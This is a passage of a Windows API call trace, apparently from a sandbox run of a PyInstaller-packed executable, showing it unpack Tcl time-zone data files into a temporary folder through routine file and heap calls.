[0038.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.267] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.267] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.267] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.267] CloseHandle (hObject=0x10c) returned 1 [0038.267] GetLastError () returned 0x0 [0038.267] SetLastError (dwErrCode=0x0) [0038.267] GetLastError () returned 0x0 [0038.267] SetLastError (dwErrCode=0x0) [0038.267] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.267] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.268] GetFileType (hFile=0x10c) returned 0x1 [0038.268] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.268] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.268] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.268] CloseHandle (hObject=0x10c) returned 1 [0038.268] GetLastError () returned 0x0 [0038.268] SetLastError (dwErrCode=0x0) [0038.268] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.268] GetFileType (hFile=0x10c) returned 0x1 [0038.268] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.268] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.269] CloseHandle (hObject=0x10c) returned 1 [0038.269] GetLastError () returned 0x0 [0038.269] SetLastError (dwErrCode=0x0) [0038.269] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.269] GetFileType (hFile=0x10c) returned 0x1 [0038.269] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.269] CloseHandle (hObject=0x10c) returned 1 [0038.269] GetLastError () returned 0x0 [0038.269] SetLastError (dwErrCode=0x0) [0038.269] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maseru") returned 70 [0038.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maseru" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\maseru"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.269] GetLastError () returned 0x2 [0038.269] SetLastError (dwErrCode=0x2) [0038.269] GetLastError () returned 0x2 [0038.270] SetLastError (dwErrCode=0x2) [0038.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maseru", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maseru", lpFilePart=0x0) returned 0x45 [0038.270] GetLastError () returned 0x2 [0038.270] SetLastError (dwErrCode=0x2) [0038.270] GetLastError () returned 0x2 [0038.270] SetLastError (dwErrCode=0x2) [0038.270] GetLastError () returned 0x2 [0038.270] SetLastError (dwErrCode=0x2) [0038.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maseru") returned 70 [0038.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maseru" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\maseru"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.270] GetFileType (hFile=0x10c) returned 0x1 [0038.270] htonl (hostlong=0xcb000000) returned 0xcb [0038.270] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.270] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xcb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xcb, lpOverlapped=0x0) returned 1 [0038.273] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.273] CloseHandle (hObject=0x10c) returned 1 [0038.274] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546430 | out: hHeap=0x530000) returned 1 [0038.274] htonl (hostlong=0x30000000) returned 0x30 [0038.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.274] GetFileType (hFile=0x10c) returned 0x1 [0038.274] htonl (hostlong=0xb05a5800) returned 0x585ab0 [0038.274] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0ab0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.274] htonl (hostlong=0x89000000) returned 0x89 [0038.274] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x55cfe0 [0038.274] htonl (hostlong=0x89000000) returned 0x89 [0038.274] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.274] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.275] htonl (hostlong=0x91000000) returned 0x91 [0038.275] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x550600 [0038.275] htonl (hostlong=0x89000000) returned 0x89 [0038.275] htonl (hostlong=0x91000000) returned 0x91 [0038.275] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.275] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.275] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.275] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.275] CloseHandle (hObject=0x10c) returned 1 [0038.275] GetLastError () returned 0x0 [0038.275] SetLastError (dwErrCode=0x0) [0038.275] GetLastError () returned 0x0 [0038.275] SetLastError (dwErrCode=0x0) [0038.275] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.275] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.275] GetFileType (hFile=0x10c) returned 0x1 [0038.275] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.275] CloseHandle (hObject=0x10c) returned 1 [0038.276] GetLastError () returned 0x0 [0038.276] SetLastError (dwErrCode=0x0) [0038.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.276] GetFileType (hFile=0x10c) returned 0x1 [0038.276] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.276] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.276] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.276] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.276] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.276] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.276] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.276] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.276] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.276] CloseHandle (hObject=0x10c) returned 1 [0038.276] GetLastError () returned 0x0 [0038.276] SetLastError (dwErrCode=0x0) [0038.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.276] GetFileType (hFile=0x10c) returned 0x1 [0038.276] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.276] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.276] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.276] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.277] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.277] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.277] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.277] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.277] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.277] CloseHandle (hObject=0x10c) returned 1 [0038.277] GetLastError () returned 0x0 [0038.277] SetLastError (dwErrCode=0x0) [0038.277] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mbabane") returned 71 [0038.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mbabane" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\mbabane"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.277] GetLastError () returned 0x2 [0038.277] SetLastError (dwErrCode=0x2) [0038.277] GetLastError () returned 0x2 [0038.277] SetLastError (dwErrCode=0x2) [0038.277] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mbabane", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mbabane", lpFilePart=0x0) returned 0x46 [0038.277] GetLastError () returned 0x2 [0038.277] SetLastError (dwErrCode=0x2) [0038.277] GetLastError () returned 0x2 [0038.277] SetLastError (dwErrCode=0x2) [0038.277] GetLastError () returned 0x2 [0038.277] SetLastError (dwErrCode=0x2) [0038.277] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mbabane") returned 71 [0038.277] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Mbabane" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\mbabane"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.278] GetFileType (hFile=0x10c) returned 0x1 [0038.278] htonl (hostlong=0x91000000) returned 0x91 [0038.278] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.278] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x91, lpOverlapped=0x0) returned 1 [0038.279] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.279] CloseHandle (hObject=0x10c) returned 1 [0038.279] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.279] htonl (hostlong=0x30000000) returned 0x30 [0038.279] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.279] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.279] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.280] GetFileType (hFile=0x10c) returned 0x1 [0038.280] htonl (hostlong=0x395b5800) returned 0x585b39 [0038.280] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0b39, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.280] htonl (hostlong=0xa2000000) returned 0xa2 [0038.280] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa2) returned 0x544990 [0038.280] htonl (hostlong=0xa2000000) returned 0xa2 [0038.280] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.280] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.280] htonl (hostlong=0xcf000000) returned 0xcf [0038.280] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcf) returned 0x545e48 [0038.280] htonl (hostlong=0xa2000000) returned 0xa2 [0038.280] htonl (hostlong=0xcf000000) returned 0xcf [0038.280] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.280] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.280] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544990 | out: hHeap=0x530000) returned 1 [0038.280] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.280] CloseHandle (hObject=0x10c) returned 1 [0038.280] GetLastError () returned 0x0 [0038.280] SetLastError (dwErrCode=0x0) [0038.280] GetLastError () returned 0x0 [0038.280] SetLastError (dwErrCode=0x0) [0038.280] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.280] GetFileType (hFile=0x10c) returned 0x1 [0038.281] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: 